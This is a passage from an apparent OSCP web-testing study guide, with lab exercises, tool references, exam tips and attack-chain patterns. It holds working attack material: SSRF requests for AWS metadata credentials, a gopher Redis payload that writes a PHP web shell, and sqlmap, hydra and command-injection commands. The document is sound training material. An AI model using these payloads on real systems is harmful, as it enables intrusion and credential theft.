Step 4: Access Cloud Metadata (if applicable)
────────────────────────────────────────────
{"url": "http://169.254.169.254/latest/meta-data/"}
→ AWS metadata returned!

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
→ IAM role name returned

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role/"}
→ AWS temporary credentials returned!

Step 5: Exploit Internal Services
─────────────────────────────────
# Access internal admin panel
{"url": "http://127.0.0.1:8080/admin"}
→ Admin credentials visible

# Access Redis and write web shell
{"url": "gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0aCONFIG%20SET%20dbfilename%20shell.php%0aSET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B'cmd'%5D%29%3B%3F%3E%22%0aSAVE"}

# Access the web shell
curl http://target.com/shell.php?cmd=id

15. Lab Exercises

Exercise 1: SQL Injection Fundamentals

Objective: Practice SQL injection techniques

Target: DVWA (Damn Vulnerable Web App) or PortSwigger Web Security Academy

Tasks:
□ 1. Set up DVWA locally (Docker recommended)
□ 2. Set security level to "Low"
□ 3. Complete SQLi lab:
   - Manual authentication bypass
   - Union-based data extraction
   - Boolean-based blind extraction
   - Time-based blind extraction
□ 4. Repeat with "Medium" security level
□ 5. Use sqlmap to automate the same attacks
□ 6. Document all payloads and responses

Time: 2-3 hours

Exercise 2: IDOR and Access Control

Objective: Practice access control testing

Target: PortSwigger Web Security Academy - Access Control labs

Tasks:
□ 1. Complete "Simple user role" lab
□ 2. Complete "User role controlled by request parameter" lab
□ 3. Complete "Second-order SQL injection" lab (access control angle)
□ 4. Practice with Burp Suite Autorize extension
□ 5. Create a systematic testing checklist for access control

Time: 2 hours

Exercise 3: Command Injection

Objective: Practice OS command injection

Target: PortSwigger Web Security Academy - OS Command Injection labs

Tasks:
□ 1. Complete "OS command injection, simple case" lab
□ 2. Complete "OS command injection, filtered" lab
□ 3. Practice blind command injection techniques
□ 4. Practice getting reverse shells via command injection
□ 5. Practice on a Metasploitable or similar VM

Time: 2-3 hours

Exercise 4: Authentication Testing

Objective: Practice authentication vulnerability testing

Target: OWASP Juice Shop or bWAPP

Tasks:
□ 1. Test password policies (registration)
□ 2. Practice brute force with hydra
□ 3. Practice password spraying
□ 4. Test session management
□ 5. Test password reset functionality
□ 6. Practice with Burp Intruder for credential testing

Time: 2-3 hours

Exercise 5: SSRF

Objective: Practice SSRF detection and exploitation

Target: PortSwigger Web Security Academy - SSRF labs

Tasks:
□ 1. Complete "Basic SSRF against local stack" lab
□ 2. Complete "SSRF with blacklist bypass" lab
□ 3. Complete "SSRF with whitelist bypass" lab
□ 4. Practice cloud metadata access
□ 5. Practice SSRF-based port scanning

Time: 2 hours

Exercise 6: Full Web Application Assessment

Objective: Simulate OSCP-style web assessment

Target: OSCP lab machine or HackTheBox easy machine

Tasks:
□ 1. Perform full reconnaissance (30 min)
□ 2. Enumerate web application (30 min)
□ 3. Test for all OWASP Top 10 categories (60 min)
□ 4. Exploit findings for initial access (30 min)
□ 5. Document findings in report format (30 min)

Time: 4-5 hours

16. Key Tools

Tool Comparison Matrix

Tool Purpose Best For OSCP Relevance
Burp Suite Web proxy, testing, scanning Everything web-related Essential
OWASP ZAP Web scanning, proxy Free alternative to Burp Good backup
sqlmap SQL injection automation SQLi detection and exploitation Essential
ffuf Fuzzing, wordlist-based Directory/file brute-forcing Essential
gobuster Directory brute-forcing Finding hidden paths Essential
nikto Web server scanning Misconfiguration detection Very Useful
nuclei Template-based scanning CVE detection, misconfigurations Very Useful
commix Command injection automation OS command injection Useful
hydra Credential brute-forcing Password attacks Essential
john/hashcat Password cracking Hash cracking Essential
searchsploit Exploit database search Known vulnerability exploits Essential
jwt_tool JWT manipulation Token attacks Useful
ysoserial Java deserialization Deserialization attacks Useful

Quick Reference Commands

# Burp Suite (GUI)
# Launch: burpsuite

# sqlmap
sqlmap -u "URL" --batch --dbs                    # Enumerate databases
sqlmap -u "URL" -D db --tables                    # Enumerate tables
sqlmap -u "URL" -D db -T table --dump             # Dump table
sqlmap -u "URL" --os-shell                        # Get OS shell
sqlmap -r request.txt --batch                     # Use Burp request file

# ffuf
ffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404
ffuf -u https://target.com/FUZZ -w wordlist.txt -e .php,.bak,.sql
ffuf -w keys.txt -X POST -d "key=FUZZ&value=test" -u https://target.com/api -fc 400

# gobuster
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u https://target.com -w big.txt -x php,txt,html,js,backup,bak -t 50

# nikto
nikto -h https://target.com
nikto -h https://target.com -C all                # Check all capabilities

# nuclei
nuclei -u https://target.com
nuclei -u https://target.com -t cves/             # CVE templates only
nuclei -u https://target.com -tags exposure       # Exposed assets

# hydra
hydra -l admin -P rockyou.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

# searchsploit
searchsploit Apache Tomcat 9.0
searchsploit -m exploits/path/to/exploit.py

# commix
commix -u "https://target.com/page?ip=127.0.0.1" --batch
commix -r request.txt --batch

17. Exam Tips

Efficient Web Application Testing During the Exam

Priority Order

1. Quick Wins (5-10 minutes each):
   □ Check for default credentials
   □ Check for directory listing
   □ Check for .git, .env, backup files
   □ Check robots.txt and sitemap.xml
   □ Check for phpinfo.php, server-status
   □ Try common admin paths (/admin, /manager, /console)

2. Authentication Testing (10-15 minutes):
   □ Test for weak/default passwords
   □ Test for SQLi in login form
   □ Test for authentication bypass
   □ Check password reset functionality

3. Input Testing (15-20 minutes):
   □ Test all input fields for SQLi
   □ Test all input fields for command injection
   □ Test file upload functionality
   □ Test URL parameters for injection

4. Access Control Testing (10-15 minutes):
   □ Test for IDOR
   □ Test for privilege escalation
   □ Test for forced browsing

5. Deep Testing (if time permits):
   □ XXE testing
   □ SSRF testing
   ✓ Deserialization testing
   □ Business logic testing

Time Management Rules

Rule 1: The 30-Minute Rule
- If you've spent 30 minutes on a web target with no progress, move on
- Come back later with fresh eyes or after gaining access elsewhere

Rule 2: Document as You Go
- Save all Burp requests to files
- Screenshot important findings
- Keep a notes file with all discovered endpoints and credentials

Rule 3: Automate Wisely
- Use sqlmap for confirmation, not just discovery
- Use ffuf/gobuster for enumeration, but review results manually
- Don't rely solely on automated tools

Rule 4: Think in Chains
- Web vuln → credentials → SSH access → privesc
- Web vuln → reverse shell → enumeration → privesc
- Misconfiguration → source code → credentials → access

Rule 5: Check the Easy Stuff First
- Default credentials are the #1 most common OSCP web vulnerability
- Always check /admin, /manager, /phpmyadmin
- Always check for backup files and .git directories

Common OSCP Web Patterns

Pattern 1: The Classic Path
Web App → SQLi → Admin Credentials → SSH → SUID Privesc → Root

Pattern 2: The Upload Path
Web App → Default Creds → Admin Panel → File Upload → Web Shell → Privesc → Root

Pattern 3: The Misconfiguration Path
Web App → Exposed Service → Default Creds → Internal Access → Lateral Movement → Root

Pattern 4: The API Path
Web App → IDOR → Admin API → Data/Function Access → Shell → Privesc → Root

Pattern 5: The Source Code Path
Web App → .git/backup → Source Code → Hardcoded Creds → Access → Privesc → Root

Report Writing Tips

For each web vulnerability:
1. Title: Clear and specific (e.g., "SQL Injection in /search.php")
2. Risk: High/Medium/Low
3. Description: What the vulnerability is
4. Proof: Screenshots of the exploit
5. Impact: What an attacker can do
6. Remediation: How to fix it

Include:
- HTTP requests and responses (from Burp)
- Screenshots of successful exploitation
- Commands used for exploitation
- Timeline of the attack chain

18. Cross-References

Topic Reference Connection
Web Application Security See Web Apps chapter Foundation for all OWASP categories
SQL Injection See SQL Injection chapter Deep dive into A03 injection
Common Web Attacks See Common Web Attacks chapter XSS, CSRF, clickjacking
Client-Side Attacks See Client-Side Attacks chapter JavaScript exploitation, browser attacks
Burp Suite See Tools chapter Detailed tool configuration
Linux Privilege Escalation See Linux Privesc chapter Post-web-exploitation
Windows Privilege Escalation See Windows Privesc chapter Post-web-exploitation
Nmap See Reconnaissance chapter Initial web service discovery
Metasploit See Exploitation chapter Web exploit modules
Password Cracking See Credentials chapter hashcat, John the Ripper

External Resources

Resource URL Purpose
OWASP Top 10 https://owasp.org/Top10/ Official OWASP Top 10 documentation
PortSwigger Academy https://portswigger.net/web-security Free web security labs
OWASP Juice Shop https://owasp.org/www-project-juice-shop/ Vulnerable web app for practice
DVWA https://github.com/digininja/DVWA Damn Vulnerable Web App
bWAPP https://github.com/cr0hn/bWAPP Bug Warehouse Web Application
WebGoat https://owasp.org/www-project-webgoat/ OWASP’s vulnerable web app
sqlmap Wiki https://github.com/sqlmapproject/sqlmap/wiki sqlmap documentation
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings Comprehensive payload repository
HackTricks https://book.hacktricks.xyz/ Web exploitation techniques
PentesterLab https://pentesterlab.com/ Paid web security exercises

OWASP Top 10 Quick Reference Card

┌─────────────────────────────────────────────────────────────────┐
│                    OWASP TOP 10 2021                            │
├──────────┬──────────────────────────┬───────────────────────────┤
│  Rank    │  Category                │  Key Testing Focus        │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A01     │  Broken Access Control   │  IDOR, privilege esc.,    │
│          │                          │  forced browsing          │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A02     │  Cryptographic Failures  │  Weak algorithms,         │
│          │                          │  hardcoded creds, hashing │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A03     │  Injection               │  SQLi, cmd injection,     │
│          │                          │  XXE, SSTI, NoSQLi       │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A04     │  Insecure Design         │  Business logic flaws,    │
│          │                          │  workflow bypass         │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A05     │  Security Misconfig.     │  Default creds, verbose   │
│          │                          │  errors, dir listing      │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A06     │  Vulnerable Components   │  CVE exploitation,       │
│          │                          │  version detection       │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A07     │  Ident/Auth Failures     │  Brute force, weak      │
│          │                          │  passwords, session mgmt │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A08     │  Integrity Failures      │  Deserialization,        │
│          │                          │  CI/CD attacks           │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A09     │  Logging/Monitoring      │  Insufficient logging,   │
│          │  Failures                │  log tampering           │
├──────────┼──────────────────────────┼───────────────────────────┤
│  A10     │  SSRF                    │  Internal access,        │
│          │                          │  cloud metadata          │
└──────────┴──────────────────────────┴───────────────────────────┘

Last Updated: 2026-09-01 This document is part of the OSCP Chapter 01 - Introduction to CyberSecurity study guide. For questions or corrections, refer to the main study guide repository.